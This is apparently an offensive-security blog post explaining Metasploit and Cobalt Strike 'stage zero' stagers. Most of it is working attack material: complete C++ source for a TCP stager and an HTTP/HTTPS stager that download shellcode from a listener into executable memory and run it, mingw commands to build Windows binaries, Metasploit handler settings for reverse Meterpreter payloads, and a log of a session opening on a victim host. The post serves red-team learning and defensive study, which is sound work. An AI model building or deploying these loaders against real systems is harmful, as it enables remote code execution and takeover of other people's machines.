In the context of Metasploit, and other C2 frameworks a “handler” refers to a component or module that is responsible for managing incoming connections from exploited systems.
Handlers often support staged payloads, where additional malicious code is delivered to the compromised system to be executed.
This article is looking at what is commonly known as stage zero, where an initial connection is made to a remote machine to download and execute further malicious code.
TCP Socket Stagers
The purpose of stage zero is to download additional shellcode over a network socket. The Meterpreter protocol does the following;
- recv is called to download the first four bytes from the server. These bytes represent the size of the payload.
- A buffer is allocated using VirtualAlloc, 5 bytes larger than the size of the payload.
- The first byte of this buffer is set to 0xBF (a POP EDI instruction), followed by the socket handle used for the original connection. The shellcode executed will utilise this socket handle.
- Another call to recv is made to download the rest of the payload based on the size previously retrieved. This is placed in the buffer after the socket handle.
- The buffer is cast to a function and executed.
The below C++ code implements this protocol.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | #include <iostream> #include <winsock2.h> #include <windows.h> void printHexBytes( const char * buffer, size_t size) { for ( size_t i = 0; i < size; ++i) { printf ( "%02x " , static_cast <unsigned char >(buffer[i])); } printf ( "\n" ); } int main( int argc, char * argv[]) { ULONG32 size; void (*function)(); // Initialize Winsock WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { std::cerr << "Failed to initialize Winsock" << std::endl; return -1; } // Create a socket SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0); if (clientSocket == INVALID_SOCKET) { std::cerr << "Error creating socket: " << WSAGetLastError() << std::endl; WSACleanup(); return -1; } // Set up the server address sockaddr_in serverAddress; serverAddress.sin_family = AF_INET; serverAddress.sin_port = htons(4444); serverAddress.sin_addr.s_addr = inet_addr( "192.168.1.131" ); // Connect to the server if (connect(clientSocket, reinterpret_cast <sockaddr*>(&serverAddress), sizeof (serverAddress)) == SOCKET_ERROR) { std::cerr << "Error connecting to the server: " << WSAGetLastError() << std::endl; closesocket(clientSocket); WSACleanup(); return -1; } // Get the size of the payload (in the first four bytes of network communication) recv(clientSocket, reinterpret_cast < char *>(&size), 4, 0); // Allocate memory, including 5 bytes for our socket handler and POP EDI char * buffer = static_cast < char *>(VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE)); // POP EDI to first byte buffer[0] = 0xBF; // Followed by socket handle memcpy (buffer + 1, &clientSocket, 4); int bytesRead = 0; int totalBytesRead = 0; while (totalBytesRead < size) { bytesRead = recv(clientSocket, reinterpret_cast < char *>(buffer) + 5 + totalBytesRead, size - totalBytesRead, 0); if (bytesRead <= 0) { std::cerr << "Error receiving shellcode" << std::endl; delete [] buffer; closesocket(clientSocket); WSACleanup(); return -1; } totalBytesRead += bytesRead; } std::cout << "Buffer bytes\n" ; printHexBytes(buffer, 20); function = reinterpret_cast < void (*)()>(buffer); function(); return 0; } |
A 32-bit and 64-bit Windows executables can be compiled on Linux using;
1 2 | x86_64-w64-mingw32-g++ socket_stager.cpp -o socket_stager_x64 -lws2_32 -static-libgcc -static-libstdc++ i686-w64-mingw32-g++ socket_stager.cpp -o socket_stager_x86.exe -lws2_32 -static-libgcc -static-libstdc++ |
Start a Metatploit handler can be started using the following commands (for an x64 listener).
1 2 3 4 5 6 | use multi/handler set LHOST eth0 set payload windows/x64/meterpreter/reverse_tcp set LPORT 4444 set ExitOnSession FALSE exploit -jz |
Running the code shows we get a Meterpreter session back.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | msfconsole -r socket_handler.rc [*] Processing socket_handler.rc for ERB directives. resource (socket_handler.rc)> use multi/handler [*] Using configured payload generic/shell_reverse_tcp resource (socket_handler.rc)> set LHOST eth0 LHOST => eth0 resource (socket_handler.rc)> set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp resource (socket_handler.rc)> set LPORT 4444 LPORT => 4444 resource (socket_handler.rc)> set ExitOnSession FALSE ExitOnSession => false resource (socket_handler.rc)> exploit -jz [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Starting persistent handler(s)... [*] Started reverse TCP handler on 192.168.1.210:4444 msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 192.168.1.114 [*] Meterpreter session 1 opened (192.168.1.210:4444 -> 192.168.1.114:52607) at 2024-02-18 09:35:18 +0000 msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : DEVELOPMENT OS : Windows 10 (10.0 Build 19045). Architecture : x64 System Language : en_GB Domain : WORKGROUP Logged On Users : 4 Meterpreter : x64/windows |
HTTP Stagers
With HTTP handlers, a request is made to a specific URL, which specifies a unique identifier for the stager based on the Metasploit UUID format. The server returns the shellcode to be executed in the response body. As before, once the shellcode has been downloaded, it’s cast as a function and executed.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | #include <Windows.h> #include <winhttp.h> #include <iostream> #include <vector> #include <iomanip> #pragma comment(lib, "winhttp.lib") void printHexBytes( const char * buffer, size_t size) { for ( size_t i = 0; i < size; ++i) { printf ( "%02x " , static_cast <unsigned char >(buffer[i])); } printf ( "\n" ); } std::vector< BYTE > Download( LPCWSTR baseAddress, LPCWSTR filename, BOOL secure); int main() { std::vector< BYTE > shellcode = Download( L"192.168.1.127\0" , L"/rNLd3nJe_IeMYI1i6bD4_w0RET_Ltaifk0yEH9ZjhwUuTLwl0-tex1JXXWjaLBdsiW0Q2iBOYzWlV3\0" , true ); if (!shellcode.empty()) { std:: size_t vectorSize = shellcode.size(); char * buffer = static_cast < char *>(VirtualAlloc(0, vectorSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE)); memcpy (buffer, shellcode.data(), vectorSize); printHexBytes(buffer, 20); void (*function)(); function = reinterpret_cast < void (*)()>(buffer); function(); } } void HandleError( const wchar_t * errorMessage) { std::cerr << "Error: " << errorMessage << std::endl; } std::vector< BYTE > Download( LPCWSTR baseAddress, LPCWSTR path, BOOL secure) { HINTERNET hSession = nullptr ; HINTERNET hConnect = nullptr ; HINTERNET hRequest = nullptr ; const wchar_t * userAgent = L"TEST" ; if (secure) { //HTTPS hSession = WinHttpOpen(NULL,WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME,WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_SECURE_DEFAULTS); hConnect = WinHttpConnect(hSession,baseAddress,INTERNET_DEFAULT_HTTPS_PORT,0); if (!hConnect) { HandleError( L"Error connecting to the server." ); WinHttpCloseHandle(hSession); } hRequest = WinHttpOpenRequest(hConnect, L"GET" ,path,NULL,WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES,WINHTTP_FLAG_SECURE); DWORD securityFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID; WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof (securityFlags)); WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); } else { //HTTP hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, NULL); WinHttpSetOption(hSession, WINHTTP_OPTION_USER_AGENT, ( LPVOID )userAgent, wcslen(userAgent) * sizeof ( wchar_t )); hConnect = WinHttpConnect(hSession, baseAddress, INTERNET_DEFAULT_HTTP_PORT, 0); if (!hConnect) { HandleError( L"Error connecting to the server." ); WinHttpCloseHandle(hSession); } hRequest = WinHttpOpenRequest(hConnect, L"GET" , path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL); WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); } // receive response WinHttpReceiveResponse(hRequest, NULL); std::vector< BYTE > buffer; DWORD bytesRead = 0; do { BYTE temp[4096]{}; WinHttpReadData(hRequest, temp, sizeof (temp), &bytesRead); if (bytesRead > 0) { buffer.insert(buffer.end(), temp, temp + bytesRead); } } while (bytesRead > 0); // close all the handles WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return buffer; } |
x84/x64 versions can be compiled with:
1 2 | x86_64-w64-mingw32-g++ http_stager.cpp -o http_stager_x64 -lwinhttp -static-libgcc -static-libstdc++ i686-w64-mingw32-g++ http_stager.cpp -o http_stager_x86 -lwinhttp -static-libgcc -static-libstdc++ |
Then start the Metasploit handlers.
1 2 3 4 5 6 7 8 9 | use multi/handler setg LHOST eth0 setg ExitOnSession FALSE set LPORT 443 set payload windows/x64/meterpreter/reverse_https exploit -jz set LPORT 80 set payload windows/x64/meterpreter/reverse_http exploit -jz |
Cobalt Strike Integration
The x86 HTTP stager we just created is compatible with CobaltStrike (although not x64 payloads!). Start a Beacon HTTP listener, as per the screenshot below.
![](https://www.bordergate.co.uk/wp-content/uploads/2024/02/Beacon_HTTP_Listener.png)
With the listener configured, you should receive a shell back after executing http_stager_x86.exe.
![](https://www.bordergate.co.uk/wp-content/uploads/2024/02/CS_Beacon.png)
In Conclusion
Stage zero is relatively simple, just downloading and executing further code. The next stage typically involves shellcode being delivered to perform Reflective DLL injection of an implant. This will be covered in a later post.